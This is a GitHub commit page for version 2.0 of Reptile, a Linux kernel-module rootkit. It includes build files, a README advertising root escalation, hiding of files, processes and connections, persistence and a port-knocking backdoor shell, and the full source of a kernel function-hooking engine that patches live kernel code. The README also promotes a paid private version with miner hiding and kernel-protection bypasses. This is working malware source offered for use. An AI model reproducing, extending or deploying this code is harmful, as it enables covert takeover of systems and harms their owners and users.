Skip to content

Commit

Permalink
version 2.0
Browse files Browse the repository at this point in the history
  • Loading branch information
f0rb1dd3n committed Oct 30, 2018
1 parent 5cc3c9c commit f1a2748
Show file tree
Hide file tree
Showing 31 changed files with 4,792 additions and 3,042 deletions.
10 changes: 10 additions & 0 deletions Kbuild
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
MODNAME ?= reptile

obj-m += $(MODNAME).o
$(MODNAME)-y += rep_mod.o

ccflags-y += -fno-stack-protector -fvisibility=hidden
ldflags-y += -T$(src)/engine/engine.lds

KBUILD_CFLAGS := $(filter-out -pg,$(KBUILD_CFLAGS))
KBUILD_CFLAGS := $(filter-out -mfentry,$(KBUILD_CFLAGS))
13 changes: 5 additions & 8 deletions Makefile
Original file line number Diff line number Diff line change
@@ -1,12 +1,9 @@
obj-m += rep_mod.o
reptile-objs := rep_mod.o

all:
mkdir -p bin
cd sbin && make all
$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
cp rep_mod.ko bin/rep_mod

cd sbin && make reverse cmd
$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$$PWD
cd parasite_loader && make
clean:
cd sbin && make clean
$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$$PWD clean
cd parasite_loader && make clean
61 changes: 22 additions & 39 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,19 +1,20 @@
# Reptile
# Reptile 2.0 (beta)

<img align="left" src="https://imgur.com/nqujOlz.png">

<br><br><br><br><br>Reptile is a LKM rootkit written for evil purposes that runs on Linux kernel 2.6.x/3.x/4.x.
<br><br><br><br><br>Reptile is a Linux LKM rootkit. Beta version, be careful when using it.
<br><br><br><br><br>

## Features

- Give root to unprivileged users
- Hide files and directories
- Hide files contents
- Hide processes
- Hide himself
- Hide TCP/IP connections
- Hidden boot persistence
- Strings obfuscation (Method suggested by: [milabs](https://github.com/milabs))
- File content tampering
- Some obfuscation techniques
- ICMP/UDP/TCP port-knocking backdoor
- Full TTY/PTY shell with file transfer
- Client to handle Reptile Shell
Expand All @@ -22,6 +23,7 @@
## Install
```
apt-get install linux-headers-$(uname -r)
perl -MCPAN -e "install String::Unescape"
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
./setup.sh install
Expand All @@ -30,59 +32,40 @@ cd Reptile
```
./setup.sh remove
```

## Usage

Binaries will be copied to `/reptile` folder (or any name you chose), that will be hidden by Reptile.

### Getting root privileges

Just run: `/reptile/reptile_r00t`

### Hiding

- Hide/unhide reptile module: `kill -50 0`
- Hide/unhide process: `kill -49 <PID>`
- Hide/unhide files contents: `kill -51 0` and all content between the tags will be hidden

Example:
```
#<reptile>
content to hide
#</reptile>
```

### Backdoor

Configure and compile client: `./setup.sh client`
<br>
You use the client to send magic packets and get your full TTY encrypted shell!

<p align="center">
<img src="https://imgur.com/1v3i1Rn.png">
</p>

More informations: [Reptile Shell](sbin/README.md)
See [Wiki](https://github.com/f0rb1dd3n/Reptile/wiki) to usage details.

## Warning

Some functions of this module is based on another rootkits. Please see the references!

## References

Special thanks to my friend [Ilya V. Matveychikov](https://github.com/milabs) for the [KHOOK](https://github.com/milabs/khook) framework and [kmatryoshka](https://github.com/milabs/kmatryoshka) loader.<br>

-[LKM HACKING](http://www.ouah.org/LKM_HACKING.html)”, The Hackers Choice (THC), 1999;
- https://github.com/mncoppola/suterusu
- https://github.com/m0nad/Diamorphine.git
- https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git
- https://github.com/maK-/maK_it-Linux-Rootkit
-[Abuse of the Linux Kernel for Fun and Profit](http://phrack.org/issues/50/5.html)”, Halflife, Phrack 50, 1997;
- https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/
- https://github.com/creaktive/tsh
- http://www.drkns.net/kernel-who-does-magic/
- https://github.com/brenns10/lsh

## Disclaimer

I do private jobs, if you are interesting send me an e-mail at: [email protected]
If you wanna more features like:<br>

- CPU usage hiding (for miners)
- Generic binary that loads to any version of kernel
- Best way to file tampering
- Best way to hide files/process/dir
- Best obfuscation
- Bypass some kernel protections
- A kernel module that survive to kernel update
- Hiding connections and packets of other protocols

There is a private version of Reptile. Even if you wanna a new feature or a new kernel module on demand, send an e-mail to [email protected] to get more information.

<br>
<p align="center">
Expand Down
194 changes: 194 additions & 0 deletions engine/engine.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,194 @@
#include "engine.h"

extern khook_t __khook_tbl[];
extern khook_t __khook_tbl_end[];

#define khook_foreach(p) for (p = __khook_tbl; p < __khook_tbl_end; p++)

////////////////////////////////////////////////////////////////////////////////

static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
unsigned long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++])
return !!(data[1] = addr);
}
return 0;
}

static void *khook_lookup_name(const char *name)
{
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
pr_debug("symbol(%s) = %p\n", name, (void *)data[1]);
return (void *)data[1];
}

static void *khook_map_writable(void *addr, size_t len)
{
int i;
void *vaddr = NULL;
void *paddr = (void *)((unsigned long)addr & PAGE_MASK);
struct page *pages[DIV_ROUND_UP(offset_in_page(addr) + len, PAGE_SIZE)];

for (i = 0; i < ARRAY_SIZE(pages); i++, paddr += PAGE_SIZE) {
if ((pages[i] = __module_address((unsigned long)paddr)
? vmalloc_to_page(paddr)
: virt_to_page(paddr)) == NULL)
return NULL;
}

vaddr = vmap(pages, ARRAY_SIZE(pages), VM_MAP, PAGE_KERNEL);
return vaddr ? vaddr + offset_in_page(addr) : NULL;
}

////////////////////////////////////////////////////////////////////////////////
// Using of in-kernel length disassembler (x86 only, 2.6.33+)
////////////////////////////////////////////////////////////////////////////////

#include <asm/insn.h>

static struct {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 19, 0)
void (*init)(struct insn *, const void *, int, int); /* since 3.19 */
#else
void (*init)(struct insn *, const void *, int);
#endif
void (*get_length)(struct insn *);
} insn_api;

static inline void x86_put_jmp(void *a, void *f, void *t)
{
*((char *)(a + 0)) = 0xE9; /* JMP opcode -- E9.xx.xx.xx.xx */
*((int *)(a + 1)) = (long)(t - (f + 5));
}

static void __khook_init(khook_t *s)
{
int x86_64 = 0;

#ifdef CONFIG_X86_64
x86_64 = 1;
#endif

if (s->target[0] == 0xE9 || s->target[0] == 0xCC)
return;

while (s->length < 5) {
struct insn insn;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 19, 0)
insn_api.init(&insn, s->target + s->length, MAX_INSN_SIZE,
x86_64);
#else
insn_api.init(&insn, s->target + s->length, x86_64);
#endif
insn_api.get_length(&insn);
s->length += insn.length;
}

memcpy(s->origin_map, s->target, s->length);
x86_put_jmp(s->origin_map + s->length, s->origin + s->length,
s->target + s->length);

atomic_inc(&s->usage); /* usage -> 1 */
}

static int __khook_init_hooks(void *arg)
{
khook_t *s;

khook_foreach(s)
{
if (atomic_read(&s->usage) != 1) {
pr_debug("failed to hook symbol \"%s\"\n", s->name);
continue;
}
x86_put_jmp(s->target_map, s->target, s->handlr);
}

return 0;
}

int khook_init(void)
{
khook_t *s;

insn_api.init = khook_lookup_name("insn_init");
if (!insn_api.init)
return -EINVAL;
insn_api.get_length = khook_lookup_name("insn_get_length");
if (!insn_api.get_length)
return -EINVAL;

khook_foreach(s)
{
s->target = khook_lookup_name(s->name);
if (!s->target)
continue;

s->target_map = khook_map_writable(s->target, 32);
s->origin_map = khook_map_writable(s->origin, 32);
if (!s->target_map || !s->origin_map)
continue;

__khook_init(s);
}

stop_machine(__khook_init_hooks, NULL, NULL); /* apply patches */

return 0;
}

static int __khook_cleanup_hooks(void *wakeup)
{
khook_t *s;

khook_foreach(s)
{
if (atomic_read(&s->usage) == 0)
continue;
memcpy(s->target_map, s->origin, s->length);
}

return 0;
}

static int __khook_try_to_wakeup(void *arg)
{
struct task_struct *g, *p;

do_each_thread(g, p)
{
if (!g->mm || (g->flags & PF_KTHREAD))
continue;
send_sig(SIGSTOP, g, 1);
send_sig(SIGCONT, g, 1);
}
while_each_thread(g, p);

return 0;
}

void khook_cleanup(void)
{
khook_t *s;

stop_machine(__khook_cleanup_hooks, NULL, NULL); /* restore patches */

khook_foreach(s)
{
while (atomic_read(&s->usage) > 1) {
msleep_interruptible(1000);
stop_machine(__khook_try_to_wakeup, NULL, NULL);
}

if (s->target_map)
vunmap(
(void *)((unsigned long)s->target_map & PAGE_MASK));
if (s->origin_map)
vunmap(
(void *)((unsigned long)s->origin_map & PAGE_MASK));
}
}
50 changes: 50 additions & 0 deletions engine/engine.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
#pragma once

#include <linux/delay.h>
#include <linux/kallsyms.h>
#include <linux/mm.h>
#include <linux/stop_machine.h>
#include <linux/version.h>
#include <linux/vmalloc.h>

typedef struct {
atomic_t usage;

unsigned char *target;
unsigned char *target_map;
unsigned char *origin;
unsigned char *origin_map;
unsigned char *handlr;

const char *name;
int length;
} khook_t;

#define KHOOK_T_DEF(t) \
khook_t __attribute__((unused, section(".data.khook"), aligned(1))) \
KHOOK_##t

#define KHOOK_(t) \
void __attribute__((alias("khook_" #t))) khook_h_##t(void); \
void notrace khook_o_##t(void) \
{ \
asm volatile(".rept 32; nop; .endr"); \
} \
KHOOK_T_DEF(t) = { \
.name = #t, \
.origin = (void *)&khook_o_##t, \
.handlr = (void *)&khook_h_##t, \
.usage = ATOMIC_INIT(0), \
}

#define KHOOK(t) KHOOK_(t)
#define KHOOK_EXT(r, t, ...) \
extern r t(__VA_ARGS__); \
KHOOK_(t)

#define KHOOK_GET(t) atomic_inc(&KHOOK_##t.usage)
#define KHOOK_PUT(t) atomic_dec(&KHOOK_##t.usage)
#define KHOOK_ORIGIN(t, ...) ((typeof(t) *)KHOOK_##t.origin)(__VA_ARGS__)

extern int khook_init(void);
extern void khook_cleanup(void);
8 changes: 8 additions & 0 deletions engine/engine.lds
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
SECTIONS
{
.data : {
__khook_tbl = . ;
*(.data.khook)
__khook_tbl_end = . ;
}
}
Loading

0 comments on commit f1a2748

Please sign in to comment.